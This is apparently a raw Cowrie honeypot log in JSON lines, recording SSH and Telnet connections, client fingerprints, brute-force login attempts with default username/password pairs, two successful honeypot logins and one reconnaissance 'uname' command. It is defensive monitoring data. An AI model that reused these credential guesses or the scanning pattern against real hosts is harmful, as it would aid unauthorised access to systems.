{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:05.054203Z","src_ip":"192.109.200.237","session":"cde2f219d2c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xcy","password":"123456","message":"login attempt [xcy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:05.304729Z","src_ip":"192.109.200.237","session":"cde2f219d2c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60540,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d1296f802b3","protocol":"telnet","message":"New connection: 50.6.8.71:60540 (10.17.0.5:23) [session: 9d1296f802b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:05.667706Z"}
{"eventid":"cowrie.session.closed","duration":31.17441987991333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:05.849524Z","src_ip":"50.6.8.71","session":"0831a339d8aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:06.390351Z","src_ip":"192.109.200.237","session":"cde2f219d2c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51052,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd2728a97523","protocol":"telnet","message":"New connection: 50.6.8.71:51052 (10.17.0.5:23) [session: cd2728a97523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:06.886946Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58274,"dst_ip":"159.203.135.109","dst_port":22,"session":"06eae0ed6de7","protocol":"ssh","message":"New connection: 192.109.200.237:58274 (159.203.135.109:22) [session: 06eae0ed6de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:08.266791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:08.271111Z","src_ip":"192.109.200.237","session":"06eae0ed6de7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:08.353235Z","src_ip":"192.109.200.237","session":"06eae0ed6de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"123","message":"login attempt [nexus/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:08.600287Z","src_ip":"192.109.200.237","session":"06eae0ed6de7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:09.684454Z","src_ip":"192.109.200.237","session":"06eae0ed6de7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53152,"dst_ip":"159.203.135.109","dst_port":22,"session":"424c6d97c2dd","protocol":"ssh","message":"New connection: 192.109.200.237:53152 (159.203.135.109:22) [session: 424c6d97c2dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:11.501432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:11.505981Z","src_ip":"192.109.200.237","session":"424c6d97c2dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:11.587666Z","src_ip":"192.109.200.237","session":"424c6d97c2dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohammad","password":"mohammad","message":"login attempt [mohammad/mohammad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:11.832834Z","src_ip":"192.109.200.237","session":"424c6d97c2dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.82735538482666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:12.443082Z","src_ip":"50.6.8.71","session":"25ac1236450a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:12.917634Z","src_ip":"192.109.200.237","session":"424c6d97c2dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53170,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4d2af63d086","protocol":"ssh","message":"New connection: 192.109.200.237:53170 (159.203.135.109:22) [session: c4d2af63d086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:14.682865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:14.688625Z","src_ip":"192.109.200.237","session":"c4d2af63d086","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:14.772603Z","src_ip":"192.109.200.237","session":"c4d2af63d086","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amrita","password":"amrita","message":"login attempt [amrita/amrita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:15.196783Z","src_ip":"192.109.200.237","session":"c4d2af63d086","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:16.283900Z","src_ip":"192.109.200.237","session":"c4d2af63d086","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":60312,"dst_ip":"159.203.135.109","dst_port":22,"session":"009c6cacd532","protocol":"ssh","message":"New connection: 103.27.238.114:60312 (159.203.135.109:22) [session: 009c6cacd532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:16.617362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:16.621536Z","src_ip":"103.27.238.114","session":"009c6cacd532","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:16.899235Z","src_ip":"103.27.238.114","session":"009c6cacd532","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tresd5","message":"login attempt [root/tresd5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:17.725222Z","src_ip":"103.27.238.114","session":"009c6cacd532","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53178,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8d3234593d8","protocol":"ssh","message":"New connection: 192.109.200.237:53178 (159.203.135.109:22) [session: b8d3234593d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:18.106090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:18.196420Z","src_ip":"192.109.200.237","session":"b8d3234593d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:18.200670Z","src_ip":"192.109.200.237","session":"b8d3234593d8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:18.525275Z","src_ip":"192.109.200.237","session":"b8d3234593d8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:18.726056Z","src_ip":"192.109.200.237","session":"b8d3234593d8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:18.729010Z","src_ip":"192.109.200.237","session":"b8d3234593d8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:18.813033Z","src_ip":"192.109.200.237","session":"b8d3234593d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:18.817749Z","src_ip":"192.109.200.237","session":"b8d3234593d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:19.006543Z","src_ip":"103.27.238.114","session":"009c6cacd532","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47462,"dst_ip":"159.203.135.109","dst_port":22,"session":"59b18a55710b","protocol":"ssh","message":"New connection: 192.109.200.237:47462 (159.203.135.109:22) [session: 59b18a55710b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:21.440711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:21.444065Z","src_ip":"192.109.200.237","session":"59b18a55710b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:21.524691Z","src_ip":"192.109.200.237","session":"59b18a55710b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:21.770190Z","src_ip":"192.109.200.237","session":"59b18a55710b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:22.854102Z","src_ip":"192.109.200.237","session":"59b18a55710b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47478,"dst_ip":"159.203.135.109","dst_port":22,"session":"66f56551aa82","protocol":"ssh","message":"New connection: 192.109.200.237:47478 (159.203.135.109:22) [session: 66f56551aa82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:24.949728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:24.955516Z","src_ip":"192.109.200.237","session":"66f56551aa82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:25.038200Z","src_ip":"192.109.200.237","session":"66f56551aa82","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:25.285134Z","src_ip":"192.109.200.237","session":"66f56551aa82","protocol":"ssh"}
